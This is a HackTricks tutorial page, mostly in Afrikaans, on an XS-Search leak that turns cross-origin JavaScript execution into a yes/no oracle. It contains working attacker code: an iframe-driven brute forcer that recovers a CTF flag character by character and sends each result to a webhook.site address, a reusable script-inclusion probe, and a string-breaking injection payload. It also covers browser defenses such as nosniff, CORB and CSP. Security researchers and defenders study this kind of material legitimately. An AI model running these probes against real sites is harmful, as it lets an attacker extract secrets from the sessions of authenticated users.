JavaScript Execution XS Leak

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Hierdie XS-Search primitief verander of ’n cross-origin response as JavaScript uitvoer in ’n Boolean oracle.

Die gewone opstelling is:

  • Positiewe toestand: die target gee attacker-controlled teks of sensitiewe inhoud terug wat nie as attacker JavaScript uitvoer nie.
  • Negatiewe toestand: die target reflekteer attacker-controlled teks na ’n plek wat as geldige JavaScript gepars word, sodat die attacker ’n callback soos window.parent.foo() kan forseer.
  • leak: laai die target met ’n klassieke <script src> en observeer of die callback geaktiveer word.

Dit is basies ’n execution oracle, nie ’n timing oracle nie. Die enigste ding wat die attacker nodig het, is ’n cross-origin script inclusion wat anders optree afhangend van die secret-dependent branch.

Vir die generiese XS-Leaks agtergrond, sien:

HackTricks

When This Works

Hierdie technique is prakties wanneer al die volgende waar is:

  • Die victim is authenticated by die target origin.
  • Die attacker kan die victim browser ’n classic script laat request van die target origin.
  • Een branch gee inhoud terug wat geldige attacker-controlled JavaScript is.
  • Die ander branch gee inhoud terug wat nie die attacker callback uitvoer nie.

In practice is die maklikste gevalle search/debug endpoints wat:

  • attacker-controlled teks teruggee wanneer ’n guess verkeerd is
  • ’n ander body teruggee wanneer die guess reg is
  • die attacker toelaat om ’n parameter soos callback, hint, msg, of ’n reflected prefix/suffix te kies

Basic Example

Server-side code wat ${guess} as ’n flag prefix sal probeer:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Hoofbladsy wat iframes na die vorige /guessing-bladsy genereer om elke moontlikheid te toets:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Die aanvallerlogika is:

  1. Begin elke kandidaat as “good”.
  2. Laai die teikenresponse as ’n script.
  3. As die response window.parent.foo() uitvoer, merk die kandidaat as verkeerd.
  4. As geen callback uitgaan nie, behou die kandidaat en gaan voort met brute-forcing.

Minimal Probe Pattern

In baie werklike teikens is ’n iframe nie nodig nie. ’n Direkte script inclusion is genoeg:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

As die “wrong guess” branch miss() weerspieël, dan:

  • probe(...) === false beteken die callback het uitgevoer of die load het gefaal
  • probe(...) === true beteken die script het gelaai sonder om die attacker callback uit te voer

Vir betroubaarheid, gebruik ’n fresh script element per probe en voeg ’n cache-buster soos ?r=${crypto.randomUUID()} by.

Modern Caveats

Dit moet ’n classic script wees

Hierdie primitive steun op die browser wat die resource as ’n classic script haal. ’n Gewone <script src=...> sonder crossorigin word in no-cors mode gehaal, en dit is presies hoekom hierdie ou pattern nog steeds nuttig is cross-origin.

Moet nie oorskakel na type="module" vir hierdie technique nie:

  • cross-origin module scripts require CORS
  • baie targets wat as classic scripts ingesluit kan word, sal eenvoudig as modules faal

MIME type en nosniff bepaal of die payload execute

Huidige browsers is strenger as ouer writeups. As die target X-Content-Type-Options: nosniff stel, sal die browser ’n script response blokkeer wie se MIME type nie ’n JavaScript MIME type is nie.

Dit beteken hierdie oracle hang dikwels af van:

  • of die target application/javascript / text/javascript terugstuur
  • of die target text/plain, text/html, of JSON terugstuur
  • of nosniff teenwoordig is

Dit is ook hoekom sommige endpoints net in een branch ’n leak gee: een response word as script aanvaar, terwyl die ander branch geblokkeer word of anders gepars word.

CORB kan die waarneembare resultaat verander

CORB voeg nog ’n branch by om oor na te dink. As ’n response as CORB-protected beskou word, kan Chromium dit in ’n leë geldige script response verander in plaas daarvan om ’n parse failure te wys. So vir sommige endpoints:

  • een state trigger ’n normale script parse / callback
  • ’n ander state word ’n leë script en slegs onload fire

Dit is steeds ’n nuttige oracle, maar die sein is nou callback vs no callback of onload vs onerror, nie net “JavaScript executed or not” nie.

CSP kan die attacker-controlled branch doodmaak

Streng CSP op die target response kan hierdie primitive breek wanneer die reflected branch nie meer executable JavaScript is nie. Public XS-Leak challenge writeups van 2022 tot 2024 steun herhaaldelik op hierdie detail:

  • script-src 'none' kan attackers forseer om weg te pivot vanaf ’n direkte execution oracle
  • CSP/SRI/CSP-report interactions kan steeds ander leak oracles skep, maar dit behoort aan ander pages/techniques

So wanneer die ooglopende callback-trick nie werk nie, inspekteer response headers voordat jy die endpoint weggooi.

Useful Variants

Callback-parameter endpoints

Die gerieflikste target is ’n JSONP-style of debug endpoint wat ’n parameter soos aanvaar:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

As die “miss” branch daardie value woordeliks in executable JavaScript weerspieël terwyl die “hit” branch ander content terugstuur, kry jy ’n direkte Boolean oracle sonder timing measurement.

Syntax-preserving prefixes and suffixes

Soms kan jy nie die response body volledig beheer nie, maar jy kan steeds die negative branch laat execute:

  • maak die huidige string of function argument toe
  • inject die callback
  • comment die trailing bytes uit

Byvoorbeeld, ’n reflected branch soos:

showResult("<attacker>");

kan dikwels omgeskakel word na:

showResult("");window.parent.foo();//");

As die positiewe branch nie daardie payload weerspieël nie, word die callback die oracle.

Kombineer met event-based oracles

As die endpoint onstabiel is oor browsers, meng die execution oracle met die generiese script load events wat reeds in die section index gedek is:

  • callback fired
  • onload
  • onerror

Dit is veral nuttig wanneer een branch geldige JavaScript oplewer en ’n ander branch geblokkeerde MIME / CORB / CSP behavior toon.

Related pages:

Practical Notes

  • Verkies een bit per request en hou die callback side effect eenvoudig.
  • As jy baie candidates toets, verwyder voorheen ingevoegde <script> elements of isoleer elke poging in ’n vars iframe.
  • Cache- en service worker behavior kan die oracle besoedel; gebruik cache-busting.
  • Hierdie primitive is die sterkste wanneer die negative branch volledig attacker-controlled JavaScript is. As jy net partial reflection kry, word die exploit ’n payload-shaping problem eerder as ’n XS-Search problem.

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks